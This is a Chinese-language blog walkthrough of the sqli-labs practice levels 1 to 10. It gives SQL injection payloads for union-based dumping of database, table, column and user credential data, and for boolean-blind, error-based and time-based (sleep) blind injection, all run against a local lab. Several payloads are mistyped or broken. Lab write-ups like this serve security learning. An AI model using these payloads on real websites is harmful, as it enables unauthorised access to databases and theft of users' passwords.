1. 程式人生 > 資料庫 >sqli-labs個人注入心得

sqli-labs個人注入心得

閉合方式型別都有一般是’,",或 無閉合符號 或 '),")

Less-1

嘗試?id=1

註釋符號為–+、-- 、#。
當嘗試?id=1’)時

很明顯是屬於單引號閉合方式
用–+註釋掉後面的

接下來就要判斷一下列數?id=1’ order by 10–+,發現

多試驗幾次後 得到共有三列資料接著進行聯合查詢?id=X’(x不等於1,2,3) union select 1,2,3–+,這裡將id等於一個數據庫不存在的數,通過聯合查詢能看出我們輸入的資料在哪裡能夠顯示出來。

在2,3的位置可以插入我們想用的語句了,接下來要做的就是爆資料表 開始之前,已經知道在MySQL中有information_schema這個庫,該庫存放了所有資料庫的資訊。

{
資料庫經常引用的詞彙!
information_schema.columns包含所有表的欄位
table_schema 資料庫名
table_name 表名
column_name 列名
information_schema.tables包含所有庫的表名
table_schema 資料庫名
table_name 表名
information_schema.schemata包含所有資料庫的名
schema_name 資料庫名
group_concat()函式功能:將group by產生的同一個分組中的值連線起來,返回一個字串結果。}
爆資料庫名:
後採用聯合注入檢視當前資料庫名和資料庫版本號

查詢時發現只返回前面一條的查詢資料,那就把id=-1,讓前面的查詢為空,就會返回後面的查詢結果

http://10.2.10.31/sqli-labs/Less-1/?id=-1’ union select 1,database(),version() --+

得到資料庫名security和版本號

爆列表:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

然後進行爆欄位?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+

接下來把使用者名稱和密碼全爆出來?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

{0x3a不加以後的情況}

Less-2

判斷是無閉合符號
只需要把第一關的id=0後面的’去掉就可以了。
Less-3

閉合方式為’)
同第二關

Less-4

判斷為”)閉合
(“1”不顯示 說明已經被閉合了本該顯示的 )
剩下的等同於第一關

Less-5(何為盲注?盲注就是在 sql 注入過程中,sql 語句執行的選擇後,選擇的資料不能回顯 到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從 background-1 中,我們可以知道盲注分為三類 •基於布林 SQL 盲注 •基於時間的 SQL 盲注 •基於報錯的 SQL 盲注

先判斷閉合方式

單引號閉合判斷而且經過判斷為布林盲注(正確的時候返回 you are in 錯誤時候不返回任何值)、
(1)利用 left(database(),1)進行嘗試 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

檢視一下 version(),資料庫的版本號為 5.7.26,這裡的語句的意思是看版本號的第一位是 不是 5,返回的結果是正確的。

接下來看一下資料庫的長度 http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20length(database())=8%23 長度為 8 時,返回正確結果,說明長度為 8.

猜測資料庫第一位 (已知security)http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+
很明顯第一位是s大於a> a,所以返回正確。當我們不知情的情況下,可以使用二分法來提高注入的效率。 接下來等同這一步操作。
直到猜到security的資料庫名

接下來運用利用 substr() ascii()函式:
ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101

方法二:
報錯注入
公式 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)

{payload 為自己構造的sql語句 (select group_concat(schema_name) from information_schema.schemata)}

union Select 1,count(*),concat(0x3a,(select user()),floor(rand(0)*2))a from information_schema.columns group by a–+

得到如下結果:

利用 double 數值型別超出範圍進行報錯注入

Less-6
先判斷閉合條件

雙引號閉合 可以參照第五關的布林盲注

Less-7
判斷閉合條件

思考半天還是沒有什麼思路就暫且放棄了

Less-8

測試注入點:
127.0.0.1/sqli-labs/Less-8/?id=1’

發現無回顯

寫入註釋後

有回顯
說明我們已經成功閉合了
先判斷字元長度
/Less-8/?id=1’ and if(length(database())>8,sleep(5)) --+

判斷為8
接下來爆資料庫名
/?id=1’ and If(ascii(substr(database(),1))=115,sleep(5))–+

得到資料庫名第一個字母s 接著同樣的測試得到全部的資料庫名。
Less-9
無論如何嘗試 頁面始終沒有任何變化 判斷為時間盲注
嘗試?id=1’ and if(ascii(substr(database(),1))>115,sleep(5))#,頁面過了一會響應,判斷閉合方式為單引號。
得到第一位為s接下來嘗試第二位:?id=1’ and if(ascii(substr(database(),sleep(5))#

得到資料庫名為security
接下來猜測列表名
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 0,1))=101,sleep(5))–+ 猜測第一個資料表的第一位是 e,…依次類推,得到 emails
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 1,1))=114,sleep(5))–+ 猜測第二個資料表的第一位是 r,…依次類推,得到 referers

Less-10

將第九關的’換為” 就可過關。